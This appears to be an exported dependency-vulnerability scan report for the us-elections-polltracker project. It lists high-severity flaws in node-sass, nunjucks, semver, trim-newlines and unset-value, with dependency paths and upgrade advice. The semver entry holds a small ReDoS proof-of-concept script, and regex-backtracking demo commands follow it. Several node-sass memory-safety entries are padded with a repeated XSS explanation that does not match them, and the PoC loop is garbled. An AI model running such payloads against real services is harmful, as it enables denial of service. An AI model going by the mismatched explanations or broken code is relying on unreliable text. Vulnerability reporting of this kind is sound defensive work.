The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.4.0 or higher.

References

high severity

Improper Input Validation

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1
    Remediation: Upgrade to exhibit-plugin-sass@0.11.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Improper Input Validation. There is an illegal address access in ast.cpp. A crafted input will lead to a remote denial of service attack. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.4.0 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1
    Remediation: Upgrade to exhibit-plugin-sass@0.11.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-bounds Read via lexer.hpp. A crafted input will lead to a remote denial of service attack. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.4.0 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1
    Remediation: Upgrade to exhibit-plugin-sass@0.11.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-bounds Read. There is an illegal address access in Sass::Eval::operator() in eval.cpp, leading to a remote denial of service attack. NOTE: this is similar to CVE-2017-11555 but remains exploitable after the vendor's CVE-2017-11555 fix (available from GitHub after 2017-07-24). Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.4.0 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1
    Remediation: Upgrade to exhibit-plugin-sass@0.11.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-bounds Read. A heap-based buffer over-read exists in the function json_mkstream() in sass_context.cpp. A crafted input will lead to a remote denial of service attack. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.4.0 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1
    Remediation: Upgrade to exhibit-plugin-sass@0.11.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Uncontrolled Recursion. There is a stack consumption vulnerability in the Parser::advanceToNextToken function in parser.cpp in LibSass 3.4.5. A crafted input may lead to remote denial of service. node-sass is affected by this vulnerability due to its bundled usage of libsass.

Remediation

Upgrade node-sass to version 4.8.0 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1
    Remediation: Upgrade to exhibit-plugin-sass@0.11.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Uncontrolled Recursion via the function Sass::Eval::operator() in eval.cpp. It will lead to a remote denial of service attack. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.4.0 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1
    Remediation: Upgrade to exhibit-plugin-sass@0.11.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Uncontrolled Recursion. There is a stack consumption vulnerability in the lex function in parser.hpp (as used in sassc). A crafted input will lead to a remote denial of service. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.4.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: nunjucks
  • Introduced through: nunjucks@2.5.2 and g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD nunjucks@2.5.2
    Remediation: Upgrade to nunjucks@3.2.3.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates nunjucks@2.5.2

Overview

nunjucks is a powerful templating engine with inheritance, asynchronous control, and more (jinja2 inspired).

Affected versions of this package are vulnerable to Prototype Pollution. via the constructor class in nunjucks/src/runtime.js.

Remediation

Upgrade nunjucks to version 3.2.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: semver
  • Introduced through: exhibit-plugin-sass@0.10.1, pg@6.4.2 and others

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 semver@5.3.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD pg@6.4.2 semver@4.3.2
    Remediation: Upgrade to pg@8.4.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 semver@4.3.6
    Remediation: Upgrade to sequelize-cli@3.0.0.

Overview

semver is a semantic version parser used by npm.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

PoC


const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})

const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: trim-newlines
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 meow@3.7.0 trim-newlines@1.0.0

Overview

trim-newlines is a Trim newlines from the start and/or end of a string

Affected versions of this package are vulnerable to Denial of Service (DoS) via the end() method.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade trim-newlines to version 3.0.1, 4.0.1 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: unset-value
  • Introduced through: nunjucks@2.5.2, g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates and others

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD nunjucks@2.5.2 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD nunjucks@2.5.2 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD nunjucks@2.5.2 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD nunjucks@2.5.2 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates nunjucks@2.5.2 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates nunjucks@2.5.2 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD nunjucks@2.5.2 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
